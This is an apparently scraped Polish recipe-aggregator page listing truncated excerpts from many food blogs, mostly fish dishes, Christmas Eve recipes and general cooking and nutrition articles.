bardzkiej kwaśnej, ale przełamanej słodką nutą zalewy. Można je też podać w wersji obiadowej, bo rewelacyjnie smakują w towarzystwie tłuczonych ziemniaków. A jak wiadomo śledź to jedna ze zdrowszych ryb i warto ją dodać do jadłospisu. Polecam wypróbować. PRZEPIS KORECZKI ŚLEDZIOWE PO KASZUBSKU Składniki: 500g filetów śledziowych mniejszych solonych lub w oleju 4 łyżki rodzynek 3 duże cebule 100g

Dorota Smakuje
Pieczone pierogi półkruche z kapustą i grzybami 37

Pieczone pierogi półkruche z kapustą i grzybami Kochamy pierogi w każdej postaci. Na naszych stołach królują pierogi gotowane z cienkiego ciasta z maki i wody, ale

Korniszonki
Monastyrska izba, czyli drwa pod śniegiem lub wiśnie pod śniegiem 36

Monastyrska izba, czyli drwa pod śniegiem Monastyrska izba to wyjątkowe ciasto. Dość pracochłonne, ale efekt robi wrażenie pod każdym względem — smaku i wyglądu. To “śnieżne” ciasto

Korniszonki
Kapusta z grochem 41

cechuje się niezwykłą prostotą, jest mało skomplikowane i smaczne. Oczywiście poza okresem świątecznym śmiało można taką kapustę gotować w trakcie roku i serwować ją jako dodatek do mięs oraz ryb. Jak dla mnie najlepiej komponuje się ona ze smażonym mięsem i smażoną rybą , chociaż można oczywiście podać ją również jako dodatek do mięs pieczonych . Jako danie wigilijne tę kiszoną(...)kapustę z grochem u mnie w domu podaje się przed smażoną rybą, może stąd właśnie według mnie pasuje ona najbardziej do dań smażonych. Przygotowanie kapusty wigilijnej z grochem zaczynam od namoczenia grochu. Robię to wieczorem, odstawiam taki groch na całą noc, aby dobrze napęczniał i gotuję go dnia następnego do miękkości. W osobnym garnku gotuję kapustę kiszoną. Jako, iż lubię

MeCooks
Sałatka „wieniec bożonarodzeniowy” 37

ważne żeby uzyskać sałatkę na kształt wieńca. Sałatka „wieniec bożonarodzeniowy” wyszła pyszna. Jeżeli lubicie sałatki z użyciem tuńczyka, będziecie ukontentowani (tak, tak :)). Reszta składników fajnie uzupełnia wędzoną rybę. I koperek, moje ulubione zioło, idealnie pasujące do właściwie każdej ryby. A właśnie, czy ten koperek nie wygląda trochę jak sierść zwierzęcia? Cały czas miałam wrażenie, że patrzę

Kardamonovy
Sillsalad – szwedzka sałatka śledziowa z burakiem 40

obowiązkowy szwedzkiego Julbord , czyli tradycyjnej świątecznej uczty serwowanej podczas Świąt Bożego Narodzenia. Ta prosta sałatka śledziowa króluje obok takich potraw jak Janssons frestelse (zapiekanka ziemniaczana), pieczone mięsa, kiełbaski, wędzone ryby czy wędliny z dziczyzny. Patrząc na to, jak Polacy lubią śledzie i jak popularne są te ryby w okresie świątecznym, jestem przekonana, że ta szwedzka sałatka może być

Na-talerzu.pl
Filety z karpia w chrzanowej panierce - wigilijny przysmak w nowoczesnym wydaniu 36

tartą z startym chrzanem. Każdy filet zanurzyć najpierw w mące, nadmiar strząsnąć, potem w jajku, a na końcu w bułce tartej z chrzanem. Upewnić się, że panierka dokładnie pokrywa rybę. Na dużej patelni rozgrzać olej. Smażyć filety na średnim ogniu po 3-4 minuty z każdej strony, aż będą złociste i chrupiące. Gotowe filety podawać natychmiast po usmażeniu. Udekorować świeżym(...)koperkiem i plasterkami cytryny, które dodadzą świeżości i podkreślą smak ryby. Do panierki wybierz bułkę tartą typu Panko dla lepszego chrupania. Reguluj ilość chrzanu w zależności od preferencji - chrzan dodaje pikantności.  Filety z karpia doskonale komponują się z ziemniakami i świeżą sałatką Ten przepis na filety z karpia w chrzanowej panierce to idealny sposób na wprowadzenie nowoczesnego twistu

Moja Książka Kucharska
Kiedy pojawił się ketchup w Polsce? 32

korzenie w Chinach. Pierwsze wzmianki o podobnym sosie pochodzą z III wieku p.n.e. Był to jednak zupełnie inny produkt niż ten, który znamy dzisiaj. Chiński sos był przygotowywany z ryb, grzybów i przypraw, a jego nazwa brzmiała „kôe-chiap”. W XVII wieku ketchup trafił do Europy za sprawą żeglarzy holenderskich, którzy sprowadzili go z Azji. W tamtych(...)czasach był on nadal przygotowywany z ryb, ale z czasem przepis na ten sos uległ zmianie. Ketchup w Polsce Pierwsze wzmianki o ketchupie w Polsce pochodzą z XIX wieku. Wtedy to sos ten zaczął być importowany z zagranicy, głównie z Anglii i Stanów Zjednoczonych. Był to jednak luksusowy produkt, dostępny tylko dla zamożniejszych warstw społecznych. W latach

Żyję by jeść
Frytki 30

Frytki to niewątpliwie jeden z popularniejszych dodatków ze smażonych ziemniaków serwowanych do mięs, ryb, nuggetsów czy domowych hamburgerów. Frytki to szybki i fajny sposób na podanie ziemniaków z patelni. Uwielbiają je dzieci i dorośli. Najlepiej smakują z solą i ketchupem. Frytki złociste i chrupiące z zewnątrz, mięciutkie w środku. Zapraszam po mój sprawdzony przepis na smażone frytki. Domowe, smażone(...)łyżką cedzakową lub szczypcami. Odsączaj na papierowym ręczniku. Frytki podawaj posolone, z ketchupem lub ulubionym sosem, np. sosem tysiąca wysp . Smakują jako dodatek do dań mięsnych, potraw z grilla, ryb oraz jako samodzielne danie / przekąska na ciepło. Smacznego Kuchnia

Zasmakuj Kuchni
Ryba po japońsku 40

Bardzo smaczna propozycja na przygotowanie ryby na Wigilię oraz Boże Narodzenie. Więcej przepisów na blogu w zakładce "Boże Narodzenie". Artykuł Ryba po japońsku pochodzi z serwisu Pieprzyć z Fantazją

Pieprzyć z Fantazją
Porównanie diet niskowęglowodanowych – keto, low carb, Carnivore. Na czym polegają i czym się różnią? 36

tłuszcz jako główne źródło energii zamiast glukozy. Aby osiągnąć ketozę, konieczne jest ograniczenie spożycia węglowodanów. Co stanowi znaczący odstęp od tradycyjnego modelu żywienia. W diecie keto przeważają tłuste mięsa, ryby, oleje, masło, awokado, tłuste nabiały, orzechy oraz niskowęglowodanowe warzywa. Ważnym elementem jest unikanie produktów bogatych w węglowodany, takich jak pieczywo, makarony, zboża oraz większość owoców. Dieta ta wymaga świadomego(...)warzyw, niektórych owoców oraz różnych źródeł białka i tłuszczów. Natomiast dieta mięsożercy (Carnivore) ogranicza się wyłącznie do spożywania produktów pochodzenia zwierzęcego, eliminując wszystkie roślinne źródła pożywienia. Obejmuje mięso, ryby, jaja i niektóre produkty mleczne, całkowicie wykluczając warzywa, owoce, orzechy i nasiona. Jest to dieta jednoskładnikowa, która stawia na wysokie spożycie białka i tłuszczu, z minimalnym lub zerowym spożyciem węglowodanów

FoodMagazine.pl - Przepisy kulinarne
12 potraw wigilijnych z różnych stron Polski – zainspiruj się 36

modyfikowany i dziś nie przypomina już swojego pierwowzoru. Jeśli szukasz innej sałatki na Wigilię , to możesz rozważyć przygotowanie wersji śledziowej. Choć tego dnia nie je się mięsa, to jednak ryby nie tylko są dopuszczalne, ale i stały się wręcz nieodłącznym elementem na stole. Co jedzą na Śląsku? Śląska kuchnia nie od dziś kojarzy się z wyrazistymi smakami. Z tego(...)znajdziesz karpia, ale także lina w śmietanie, okonia, szczupaka czy sandacza. Jeśli chodzi o desery, to najpopularniejszym zdecydowanie jest makowiec oraz kluseczki z makiem i bakaliami. Na Kaszubach królują ryby W tej części naszego kraju do tradycyjnych potraw należy między innymi śledź po kaszubsku. W odróżnieniu od Mazur tutaj je się węgorze i łososie, które miejscowi przyrządzają na różne

Via Gusto
Paprykarz domowy 35

Paprykarz domowy to świetna propozycja smarowidła na kanapki. Wykorzystać możemy prawie każdą rybę. Ja użyłam grillowanej miruny, ale sprawdzi się także wędzona makrela lub inna pieczona. Składniki: 100 g ryżu (waga przed ugotowaniem), duża cebula, duża marchewka, 300 g ryby (u mnie waga po grillowaniu), 2 łyżki przecieru pomidorowego, sól, pieprz, słodka papryka w proszku - 1 łyżeczka, ostra papryka(...)drobną kostkę. Podsmażamy na oleju przez 3-4 minuty. Zalewamy bulionem dusimy pod przykryciem na średnim ogniu przez ok 15 minut aż warzywa będą miękkie. Dodajemy ryż, rozdrobioną rybę, papryki w proszku, przecier pomidorowy. Mieszamy, doprawiamy do smaku solą i pieprzem. Przekładamy do pojemniczka, studzimy. Wstawiamy na kilka godzin do lodówki

Lena Gotuje
Gotowanie na parze – wiele powodów, dla których warto go spróbować! 42

potrawy ugotowane na parze mają dobry smak? Gotowanie na parze w naturalny sposób podkreśla i wzmocnia smak przyrządzanych składników, co pozwala uniknąć nadmiernego stosowania soli czy innych przypraw. Warzywa, ryby oraz mięsa, przygotowane tą metodą, często ujawniają swoje pełne bogactwo smaków, stając się delikatne i soczyste. Ponadto, przygotowanie potraw przy pomocy naczynia do gotowania na parze umożliwia subtelne łączenie(...)pozwala na jednoczesne gotowanie wielu składników. Jest to duża oszczędność czasu i energii. Parowary często posiadają różne poziomy, które umożliwiają przygotowanie całego posiłku – od warzyw, przez ryż, aż po ryby czy mięso – w jednym cyklu gotowania. Dodatkowo, naczynia wykorzystywane do gotowania na parze są zazwyczaj łatwe w czyszczeniu, ponieważ żywność nie przywiera do ich powierzchni, a para wodna

ProstePesto.pl
Czy kawior można smażyć? 37

smażony kawior to nowa kulinarne odkrycie czy raczej nieudany eksperyment? Przyjrzyjmy się bliżej tej kwestii. Czym jest kawior? Kawior to luksusowy produkt spożywczy, który jest uzyskiwany z ikry ryb z rodziny jesiotrowatych. Najbardziej ceniony jest kawior jesiotra, zwłaszcza ten pochodzący z dzikich ryb złowionych w Morzu Kaspijskim. Jest to delikatny, drobnoziarnisty i niezwykle smaczny dodatek do wielu dań

Żyję by jeść
Pieczony dorsz w parmezanie 38

Wyjątkowo prosty i szybki przepis na pyszną i zdrową rybę! Bohaterem dzisiejszego dania jest dorsz - jeden z moich ulubionych gatunków ryb. Mięso dorsza samo w sobie jest wyjątkowe i pełne smaku dlatego staram się je przygotowywać z minimalną ilością dodatków. Potrawa łączy w sobie […] Artykuł Pieczony dorsz w parmezanie pochodzi z serwisu Wędrówki po kuchni

Wędrówki po kuchni
Pulpety ze szczupaka w sosie cytrynowo – koperkowym 49

Szczupaka można przygotować bardzo smacznie, ale to nie jest przepis wyłącznie na tę rybę. Pulpety możesz zrobić z każdej białej ryby. Artykuł Pulpety ze szczupaka w sosie cytrynowo – koperkowym pochodzi z serwisu Pieprzyć z Fantazją

Pieprzyć z Fantazją
Jak zrobić idealne ciasto na naleśniki? Kompletny przewodnik krok po kroku 40

uzyskamy gładką konsystencję. Naleśniki smażymy na dobrze rozgrzanej patelni, po obu stronach, aż będą złociste. Aromatyczne naleśniki z ziołami doskonale smakują z farszami na bazie warzyw, serów czy ryb. Sposoby na wykorzystanie ciasta naleśnikowego Ciasto naleśnikowe może być wykorzystywane nie tylko do przygotowania tradycyjnych naleśników. Świetnie sprawdza się także jako panierka, np. jako panierka do smażonego kurczaka . Panierka(...)ciasta naleśnikowego: jak zrobić? Panierka z ciasta naleśnikowego to świetny sposób na dodanie smaku i chrupkości do różnych potraw. Aby ją przygotować, wystarczy zanurzyć kawałki mięsa, ryby czy warzyw w przygotowanym wcześniej cieście, a następnie smażyć na głębokim tłuszczu lub na patelni z niewielką ilością oleju. Panierka z ciasta naleśnikowego sprawdzi się doskonale jako alternatywa dla tradycyjnej panierki

e-PrzepisyKulinarne
Menu restauracyjne kiedyś i dziś. 30

którym często delektowali się tylko bogaci i szlachta. Choć wieprzowina, baranina i drób były dostępne, to ich cena sprawiała, że były one zarezerwowane na specjalne okazje. W miastach portowych ryby były powszechne, zwłaszcza wzdłuż wybrzeży Morza Śródziemnego. Dla wielu ludzi jednak głównym źródłem białka były jaja i nabiał. W średniowieczu, kiedy klasztory stały się centrami edukacyjnymi i kulturalnymi, mnisi(...)mogli cieszyć się produktami, które wcześniej były dostępne tylko w konkretnych sezonach czy regionach. Kolejna ważna innowacja to wynalezienie lodówki, która umożliwiła przechowywanie żywności w niskich temperaturach. Dzięki temu ryby, mięso i inne produkty mogły być świeże przez dłuższy czas, co wpłynęło na różnorodność i jakość potraw. W XIX wieku rosła też popularność restauracji, zwłaszcza w dużych metropoliach europejskich

Kuchennyviral.pl
Jak dobrać patelnię do sposobu przyrządzania potraw? 47

takiej patelni w zmywarce. Patelni teflonowych można używać na różnego rodzaju kuchenkach, zarówno gazowych, jak i indukcyjnych . Można uznać je za uniwersalne, gdyż nadają się do smażenia zarówno ryb, mięs, jak i warzyw, ale też do duszenia potraw. Na patelni teflonowej przygotujemy naleśniki czy placuszki typu pancake.  Patelnia z powłoką ceramiczną – czy to dobry wybór? Można zdecydować(...)powłoka jest nieprzywierająca , najczęściej gładka i wykazuje większą odporność na zarysowania. Ponadto stosunkowo łatwo można utrzymać ją w czystości. Taka patelnia jest uniwersalna – nadaje się do smażenia warzyw, ryb oraz mięs.  Powrót do tradycji – patelnie żeliwne  Coraz większą popularnością cieszą się patelnie żeliwne . Są bardzo trwałe, odporne na uszkodzenia mechaniczne, ale i zarysowania. Podczas smażenia

Słodkie okruszki
Białko i jego wpływ na organizm - niedobór i nadmiar białka 42

zboża. Największą ilość białka w tej grupie zawierają rośliny strączkowe. Eksperci wskazują, że powinniśmy częściowo zastępować nimi mięso.  Białka zwierzęce pochodzą z produktów pochodzenia zwierzęcego, takich jak mięso, ryby, jaja i nabiał.  Największa wartość odżywcza białka występuje w jajach kurzych. Na drugim i trzecim miejscu w rankingu lądują mięso i ryby.  Należy pamiętać

Kuchnia MagdaLeny
Białko i jego wpływ na organizm - niedobór i nadmiar białka 42

zboża. Największą ilość białka w tej grupie zawierają rośliny strączkowe. Eksperci wskazują, że powinniśmy częściowo zastępować nimi mięso.  Białka zwierzęce pochodzą z produktów pochodzenia zwierzęcego, takich jak mięso, ryby, jaja i nabiał.  Największa wartość odżywcza białka występuje w jajach kurzych. Na drugim i trzecim miejscu w rankingu lądują mięso i ryby.  Należy pamiętać

Kuchnia MagdaLeny
Piramida żywieniowa i jej zmiany na przestrzeni czasu 44

cztery główne kategorie: Produkty zbożowe: chleb, makaron, ryż, płatki śniadaniowe i inne. Warzywa i owoce: podstawowy element diety. Mleko i produkty mleczne: m.in. mleko, jogurt i ser. Mięso, drób, ryby, orzechy, nasiona i rośliny strączkowe. W pierwszej piramidzie żywieniowej nie istniał wyraźny podział na tłuszcze, słodycze ani napoje. Kolejne wersje piramidy żywieniowej Z czasem piramida żywieniowa ewoluowała. Powstawały(...)roku składa się z 5+1 poziomów, gdzie podstawą jest aktywność fizyczna: Warzywa i owoce – podstawowy element diety zaraz za aktywnością fizyczną. Produkty zbożowe (głównie pełnoziarniste). Nabiał. Mięso, ryby, nasiona roślin strączkowych. Tłuszcze. Oprócz stosowania się do wytycznych piramidy żywieniowej powinniśmy pamiętać, aby spożywać regularne posiłki (3-5 dziennie), ograniczać cukier i sól oraz dbać o prawidłowe nawodnienie. Więcej

ProstePesto.pl
Sałatka z serka wiejskiego, ryby i warzyw 36

Pyszna pożywna sałatka, którą można przygotować sobie na śniadanie, drugie śniadanie czy kolację. Składniki: 1 serek wiejski 1 opakowanie ryby z puszki (u mnie filet z makreli w oleju) 1/2 czerwonej papryki 1 ogórek kiszony (może być małosolny) zielona cebulka ewentualnie sól, pieprz Sposób przygotowania: 1. Rybę odsączyć z nadmiaru oleju.  2. Paprykę i ogórka pokroić w kostkę

Kuchnia domowa Ani
Awanturka pasta na 2 sposoby 42

twarogu Dziś awanturka pasta do chleba, bułek z 2 – 3 składników, idealna na upały, jak i na chłodne dni. Awanturka z makrelą, ze szprotkami czy inną wędzoną rybą to relikt przeszłości. Awanturka przepis z PRL-u na smaczną i co najważniejsze zdrową pastę. Awanturka to pasta do czego? Do wszelkiego pieczywa, sprawdza się także jako pasta do imprezowych przekąsek(...)ostro lub łagodnie, stopień doprawienia to już indywidualna sprawa. Pasta do chleba awanturka Tradycyjna awanturka to makrela i twaróg, co nie znaczy, że nie można zrobić z inną rybą. Awanturka ze szprotkami, awanturka z rybą wędzoną jak i z puszki. Przepisy z czasów PRL cechuje jedno, kreatywność ludzi. I przepis na awanturkę jest jednym z dowodów na tę pomysłowość. Jedni

Dieta moja pasja
Sałatka ziemniaczana na grilla – hit każdego lata 48

Sałatka ziemniaczana na grilla to świetny dodatek do aromatycznych steków, szaszłyków, ryb czy warzyw. Warto poświęcić na nią odrobinę czasu, aby móc się nią delektować w towarzystwie rodziny oraz przyjaciół. To doskonała alternatywa dla chleba. Sprawdzi się w przypadku osób nietolerujących glutenu. Walory smakowe, wartości odżywcze oraz niska cena ziemniaków to trzy argumenty, które przemawiają za tym, aby sięgać(...)makaronowa? Sałatki na grilla to must have każdej imprezy organizowanej w ciepłe, letnie dni. Niektóre z nich można traktować jako przystawki, inne jada się jako dodatek do mięsa lub ryby. Chętnie sięgają po nie dzieci. To ciekawa alternatywa dla osób niespożywających mięsa. Mimo wszystko warto o nich pomyśleć podczas grillowania i sięgnąć po produkty wegetariańskie lub wegańskie, takie

Ugotowane pozamiatane
Jak gotować kuskus ? 46

takie jak kuskus zwykły, perłowy czy pełnoziarnisty. Wybór zależy od Twoich preferencji smakowych i diety. Następnie, przystąp do przygotowania składników, które zamierzasz dodać do kuskusu. Możesz wybrać warzywa, mięso, ryby, a także różnego rodzaju przyprawy i sosy. Gotowanie kuskusu krok po kroku Gotowanie kuskusu jest szybkie i łatwe, ale wymaga kilku kroków, aby uzyskać idealną konsystencję. Oto kroki, które(...)gotowanie na parze Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? Kasza quinoa jak gotować? Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Przepisy gotowanie na parze 42

przyprawy i warzywa, aby uzyskać różnorodność smaków. Pomysły i przepisy gotowanie na parze Gotowanie na parze daje nieograniczone możliwości kulinarnego eksperymentowania. Oprócz kurczaka z warzywami, można przygotować na parze ryby, krewetki, owoce morza, a nawet desery, takie jak muffiny czy serniki. Dla miłośników kuchni azjatyckiej, warto spróbować przyrządzenia tradycyjnych chińskich bułeczek bao z nadzieniem mięsnym lub wegetariańskim. Można również(...)gotowanie na parze Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? Kasza quinoa jak gotować? Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Soczewica czerwona gotowanie 37

minut, aż soczewica będzie miękka. Przypraw solą i pieprzem do smaku. Posyp gotową potrawę świeżą natką pietruszki i podawaj jako samodzielne danie lub jako dodatek do mięsa lub ryb. Soczewica czerwona gotowanie - podsumowanie Soczewica czerwona to zdrowa i smaczna alternatywa dla tradycyjnych zbóż, która doskonale sprawdza się w kuchni. Jej łatwość przygotowania i wszechstronność pozwalają na przyrządzenie wielu pysznych(...)gotowanie na parze Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? Kasza quinoa jak gotować? Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Kasza orkiszowa jak gotować? 43

gotuj kaszę przez około 15-20 minut, aż woda zostanie wchłonięta, a kasza będzie miękka. Dopraw kaszę solą i pieprzem do smaku. Podawaj kaszę orkiszową jako dodatek do mięsa, ryb, duszonych warzyw lub jako samodzielne danie. Kasza orkiszowa jak gotować - podsumowanie Gotowanie kaszy orkiszowej to prosty i satysfakcjonujący proces, który pozwala cieszyć się smakiem i wartościami odżywczymi tego starożytnego(...)Poznaj inne artykuły: Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? kasza quinoa jak gotować Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Dania z parowaru 38

cukinia, kalafior, przyprawy. Filet z kurczaka ułóż na parowarze wraz z pokrojonymi warzywami i gotuj na parze przez około 20 minut. Podawaj z ulubionymi przyprawami. Inne zastosowania parowaru Parowanie ryb i owoców morza: Parowar idealnie nadaje się do przygotowywania ryb i owoców morza, zachowując ich delikatny smak i konsystencję. Przygotowanie deserów na parze: Parowar można wykorzystać także

Podstawy Gotowania
Kamica nerkowa. Co jeść, a czego unikać? Przykładowe posiłki z bloga. 38

jednej diety idealnej dla chorych na kamicę nerkową. Sposób odżywiania zależy od rodzaju substancji, które wchodzą w skład kamieni nerkowych. złogi struwitowe Ograniczamy: nasiona roślin strączkowych, orzechy, kakao, konserwy, ryby, mięso, mleko, żółtko jaj, sery i gruboziarniste produkty zbożowe. złogi fosforanowo-wapniowe Ograniczamy: jaja, przetwory mleczne, mleko, mocną kawę i herbatę, kakao, strączki, rabarbar, szczaw, szpinak, konserwy. złogi moczanowe(...)Ograniczamy: czekoladę, kakao, mocną kawę i herbatę, zupy na wywarach mięsnych, rośliny strączkowe, strączki, orzechy, wieprzowinę i niektóre ryby (sardynki, szprotki, śledzie ). złogi szczawianowo-wapniowe (to najczęściej występująca postać kamicy) Ograniczamy: produkty z glutaminianem sodu, kiszonki, szpinak, szczaw, rabarbar, mocną kawę i herbatę, czekoladę, gotowe dania, konserwy. Przykładowe posiłki dla osób z kamicą nerkową kokosowa kasza jaglana, sałatka

Natka Pietruszki
Sos tatarski 47

majonezowy sos jest idealny do ryby oraz innych dań. Nie wyobrażam sobie na przykład ryby z frytkami bez jego dodatku, bo to właśnie te ciekawe dodatki w majonezie robią ten świetny smak całego dania. Ja sos tatarski lubię dodawać także na kanapki z wędliną czy z tuńczykiem, obowiązkowo podaję go także do kotletów serowych oraz czasem do dań

nietylkopasta.pl
Łosoś pieczony w maśle orzechowym 25

sojowego, rozdrobnionego czosnku, miodu i imbiru robimy sos. Obtaczamy nim łososia, poza stroną ze skórą (reszta sosu przyda się w trakcie konsumpcji, wierzcie mi :)). Naczynie żaroodporne smarujemy odrobiną oleju, rybę wkładamy do naczynia (skórą do dołu), przykrywamy folią aluminiową i pieczemy 20 minut. Po tym czasie ściągamy folię i rumienimy lekko łososia. W międzyczasie gotujemy ryż do miękkości, odcedzamy(...)cebulę, rumienimy. Dodajemy do tego ryż, startą na najmniejszych oczkach skórkę z limonki i sok z limonki. Doprawiamy solą i mieszamy. Ryż wykładamy na talerze, kładziemy na nim kawałki ryby. Całość posypujemy pokrojonym w mniejsze kawałki szczypiorkiem, pokrojoną w plasterki chili i sezamem. Artykuł Łosoś pieczony w maśle orzechowym pochodzi z serwisu Kardamonowy

Kardamonovy
Pesto z natki pietruszki z kaparami i słonecznikiem 26

właściwie cały rok. Jest to jakaś namiastka moich śródziemnomorskich smakowych potrzeb. Pesto z natki pietruszki z kaparami i słonecznikiem to sos, który można użyć do wielu potraw: do makaronów, ryb, drobiu, zup. My najczęściej jemy je z makaronem i jakąś sałatą z winegretem . Do tego oczywiście jakiś ser długodojrzewający i w sumie nic więcej nie potrzeba. Tym razem pesto(...)kolor – mam to przećwiczone. Przynajmniej mój blender powoduje, że pesto nie ma tak pięknie zielonego koloru, jak to robione w moździerzu. Pesto z koperku, które robiłam dziś do ryby, miażdżyłam ręcznie. Wyszło zielone jak łąka w środku lata (czy coś). Podobne przepisy: Pesto z rukoli z kaparami Pesto z czosnku niedźwiedziego Pesto bazyliowe ze słonecznikiem Pesto wegańskie

Kardamonovy
Bakłażan a’la ryba po grecku 25

grało. Teraz wszystko gra, więc zabieram się za publikowanie przepisu. Tak sobie teraz myślę, że nie ma potrzeby się ograniczać jedynie do świąt, jeżeli chodzi o bakłażana a’la ryba po grecku. Bo tę prawdziwą rybę to jednak wolę zjeść od święta. Następnym razem, gdy będę stołować u siebie moją dwójkę wegan, na bank zrobię tytułowego bakłażana. Ten po kaszubsku(...)bardzo smakował, więc na bank ten także podejdzie. Jeżeli lubicie eksperymentować, nawet w okresie świąt, zróbcie koniecznie bakłażana udającego rybę po grecku. Składniki: 1 duży bakłażan lub 2 średnie 2 średnie marchewki 2 średnie korzenie pietruszki mały kawałek selera 1 cebula 2 ząbki czosnku 100 g koncentratu pomidorowego 1,5 szklanki wody liść laurowy 2 ziarna ziela angielskiego pół łyżeczki

Kardamonovy
Pączki z serków homogenizowanych 24

ktoś z niego skorzysta. U mnie problem tkwi chyba jedynie w tonie tłuszczu, w jakim pączki muszą się smażyć. Nigdy nie ogarniałam smażenia na głębokim oleju, czy to frytek, ryb czy innych mięs. I to też nie jest tak, że nie jem nigdy frytek poza domem. Jem, smażone w ten sposób, ryby nad morzem. Jednak dopóki sama

Kardamonovy
Surówka z kiszonej kapusty z ananasem 25

kombinowałam, kombinowałam i odpuściłam. Niektórych rzeczy się nie rusza. Parę dni temu kupiłam kiszoną kapustę do kaszanki. Klasycznie kapusty kupiłam za dużo, postanowiłam zrobić z niej surówkę do ryby. Zaczęłam ją szatkować, dodałam resztę składników (na szczęście zapomniałam dodać cukier), wymiąchałam, odstawiłam. A później zobaczyłam na blacie puszkę ananasa. I tak pomyślałam, że kiszona kapusta lubi słodkie dodatki(...)nikomu nic się nie stało, to jeszcze wszystkim mega smakowało. Wrąbaliśmy całą miskę, razem z Tolką. Surówka z kiszonej kapusty z ananasem idealnie sprawdziła się do pieczonego dorsza. Ryby zresztą też lubią dodatek owoców, więc to wszystko naprawdę świetnie zagrało. Dobrze, że nie dodałam cukru na początku, bo surówka chyba byłaby już dla nas za słodka. Ale pamiętajcie

Kardamonovy
Pasta jajeczna z wędzonym pstrągiem i sosem tatarskim 30

niego kapary. Albo ogórki konserwowe. Zioła. Albo na co będziecie mieli tylko ochotę. U mnie trochę klasyczniej, ale z dodatkiem chrzanu. Ta odrobina chrzanu dobrze smakowała z wędzoną rybą, wierzcie mi. A jak tytułowej pasty nie rozdziabiecie na śmierć, jak ja, wyjdzie z tego w sumie sałatka (zwiększcie tylko ilość jajek i ryby). To jak? Może jednak wyląduje

Kardamonovy
Makaron z pesto, wędzonym pstrągiem i suszonymi pomidorami 39

końca byłam przekonana czy robię dobrze robiąc go na ciepło, z dodatkiem makaronu. Ostatecznie nie potrafiłam przestać jeść. Poważnie. Nie wiem czy to zasługa pesto, pomidorów czy samej ryby, wszystko jednak smakowało świetnie. Składniki: 250 g makaronu 75 g wędzonego filetu pstrąga 5 suszonych pomidorów z zalewy 2 duże garści startego parmezanu pesto: duża garść rukoli 3 łyżki pestek(...)dyni prażymy na patelni do zrumienienia. Po ostudzeniu wrzucamy je do blendera. Dorzucamy do niego umytą rukolę, czosnek, parmezan, oliwę, sok z cytryny, sól i świeżo zmielony pieprz. Miksujemy. Rybę rwiemy palcami, na wszelki wypadek przeszukujemy czy nie ma w niej ości. Pomidory kroimy w plasterki. Makaron gotujemy al dente, przecedzamy go, wrzucamy go z powrotem do garnka. Nie przecedzajcie

Kardamonovy
Sałatka z sałatą, ogórkiem i fetą 27

będziemy jechali przecież na samych kiełbasach. Ale będzie to wszystko dość ascetyczne (przynajmniej z mojej strony). Na blogu mam niewiele konkretnych grillowych przepisów. Brakuje szaszłyków, kaszanek i innych ryb. Chciałam w majówkę to nadrobić i uzupełnić bloga. Jak jednak widzę jaka ma być pogoda, jedyne co uzupełnię to piwa w lodówce (w większości na dodatek bezalkoholowe). Jak już grillujemy(...)tych używam sporo), świeże zioła, kaszę jaglaną (jest bardzo wskazana) i gryczaną (najlepiej niepaloną), soczewicę, ciecierzycę, oleje tłoczone na zimno (oliwa z oliwek, olej rzepakowy, z wiesiołka, lniany, kokosowy), ryby, drób, pestki dyni, niektóre orzechy, sezam, makarony żytnie, orkiszowe (od czasu do czasu), brązowy ryż, mąkę żytnią. Wskazane jest używanie przypraw jak: curry, kurkuma, imbir. Z owoców można jeść

Kardamonovy
Surówka z kiszonej kapusty z dymką 29

robiłam tę surówkę, fotografowałam, jadłam i później jej nie publikowałam. Ta ze zdjęcia została zjedzona jakieś półtora tygodnia temu. Tak, dobrze liczycie, to był piątek. Surówka była dodatkiem do ryby i ziemniaków. Nie, nie praktykujemy postów, jakoś tak po prostu wyszło. Nie wiem kto wymyślił takie połączenie, ale to jest połączenie idealne. Nic nie pasuje mi tak do ryby jak tłuczone ziemniaki i surówka z kiszonej kapusty. Nie lubię wydziwiać z tą surówką. Czasami próbowałam coś czarować, ale to było bez sensu. Od dłuższego czasu robię ją cały czas tak samo. Bez kminku, z jabłkiem, marchewką, cukrem, cebulą. Jedyne „dziwactwo” to używanie do niej oleju rzepakowego z pierwszego tłoczenia. Pasuje mi nawet bardziej niż moja ukochana

Kardamonovy
Camembert z grilla 27

Dziś coś wegetariańskiego. Po dwóch tygodniach wakacji mam dość mięsa. Niedaleko nas jest facet, który ma swojskie wyroby, ciężko przejechać obok niego obojętnie. Na szczęście ma też ryby, ale nasze zakupy na samych rybach się nie kończą. W ogóle na dzisiejszego grilla kupiliśmy u niego kaszankę, ale chyba jej jednak nie wchłoniemy. Plany wieczornego grilla się trochę zmieniły

Kardamonovy
Kasza jaglana z pesto 31

